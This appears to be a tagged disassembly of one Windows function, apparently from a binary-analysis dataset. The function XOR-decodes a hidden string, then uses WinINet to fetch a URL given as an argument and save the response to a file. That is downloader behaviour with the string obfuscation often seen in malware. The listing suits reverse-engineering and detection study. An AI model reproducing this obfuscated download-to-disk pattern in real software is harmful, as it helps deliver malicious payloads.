Function at 0x4029c0
Capabilities:
Create http request
Encode data using xor
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2110
call fcn.0041fbe0
movups xmm0, xmmword [str._O__TX]
mov eax, dword [0x43d48c]
xor ecx, ecx
cmp dword [0x44f7b8], 2
movups xmmword [ebp - 0x58], xmm0
push ebx
movups xmm0, xmmword [0x43d464]
push esi
mov dword [ebp - 0x20], eax
lea esi, [ecx + 4]
movups xmmword [ebp - 0x48], xmm0
movups xmm0, xmmword [0x43d474]
movups xmmword [ebp - 0x38], xmm0
movq xmm0, qword [str.__fP]
movq qword [ebp - 0x28], xmm0
jl 0x402b30
movaps xmm4, xmmword [0x43d580]
mov eax, 0x1f
movaps xmm3, xmmword [0x43d5b0]
movaps xmm6, xmmword [str.5555]
movd xmm5, esi
movd xmm7, eax
nop dword [eax]
movd xmm0, ecx
lea eax, [ecx + 4]
pshufd xmm2, xmm0, 0
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x43d5a0]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x58]
pxor xmm1, xmm0
movd xmm0, eax
pshufd xmm2, xmm0, 0
movq qword [ebp + ecx*2 - 0x58], xmm1
paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm5
movaps xmm0, xmm1
psrld xmm0, xmm7
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
movq xmm0, qword [0x43d5a0]
paddw xmm1, xmm0
movq xmm0, qword [ebp + ecx*2 - 0x50]
pxor xmm1, xmm0
movq qword [ebp + ecx*2 - 0x50], xmm1
add ecx, 8
cmp ecx, 0x18
jl 0x402a40
cmp ecx, 0x1e
jge 0x402b56
nop dword [eax]
mov eax, 0x4d4873ed
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul eax, eax, 0x35
sub edx, eax
add edx, 0x33
xor word [ebp + ecx*2 - 0x58], dx
inc ecx
cmp ecx, 0x1e
jl 0x402b30
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
lea edx, [ecx + 2]
mov dword [ebp - 8], 7
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402b71
sub ecx, edx
lea eax, [ebp - 0x58]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.004032f0
cmp dword [ebp - 8], 8
lea eax, [ebp - 0x1c]
push 0
cmovae eax, dword [ebp - 0x1c]
push 0
push 0
push 1
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edx, dword [ebp - 8]
mov ebx, eax
cmp edx, 8
jb 0x402be3
mov ecx, dword [ebp - 0x1c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x402bd9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402d6d
push edx
push ecx
call fcn.0041fbcc
add esp, 8
xor eax, eax
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 7
mov word [ebp - 0x1c], ax
test ebx, ebx
jne 0x402c04
pop esi
lea eax, [ebx + 1]
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
cmp dword [eax + 0x14], 0x10
jb 0x402c0f
mov eax, dword [eax]
push edi
push 0
push 0x84000000
push 0
push 0
push eax
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x402c3a
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
lea eax, [edi + 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], 0x10
jb 0x402c45
mov eax, dword [eax]
push 1
push 0x40
push 0x20
push eax
lea ecx, [ebp - 0x110]
call fcn.00401cc0
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x110]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x114], eax
mov eax, dword [ebp - 0x110]
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x104], 6
je 0x402cb6
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
lea ecx, [ebp - 0x110]
mov esi, 1
call fcn.00402690
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0x2000
lea eax, [ebp - 0x2110]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x402d08
mov eax, dword [ebp - 4]
test eax, eax
je 0x402d08
push 0
push eax
lea eax, [ebp - 0x2110]
push eax
lea ecx, [ebp - 0x110]
call fcn.004040f0
lea eax, [ebp - 4]
push eax
push 0x2000
lea eax, [ebp - 0x2110]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x402cd1
lea ecx, [ebp - 0x10c]
call fcn.00403480
test eax, eax
jne 0x402d4b
mov eax, dword [ebp - 0x110]
xor ecx, ecx
mov eax, dword [eax + 4]
cmp dword [ebp + eax - 0xd8], ecx
cmovne esi, ecx
or esi, dword [ebp + eax - 0x104]
and esi, 0x15
or esi, 2
mov dword [ebp + eax - 0x104], esi
mov eax, dword [ebp + eax - 0x100]
and eax, esi
jne 0x402d72
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
lea ecx, [ebp - 0x110]
xor esi, esi
call fcn.00402690
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00423faf
test al, 4
je 0x402d7d
mov esi, str.ios_base::badbit_set
jmp 0x402d8c
test al, 2
mov esi, str.ios_base::failbit_set
mov eax, str.ios_base::eofbit_set
cmove esi, eax
lea eax, [ebp - 0x60]
push 1
push eax
call fcn.004037b0
add esp, 8
lea ecx, [ebp - 0x18]
push eax
push esi
call fcn.00402310
push 0x44b960
lea eax, [ebp - 0x18]
push eax
call fcn.00420a90
int3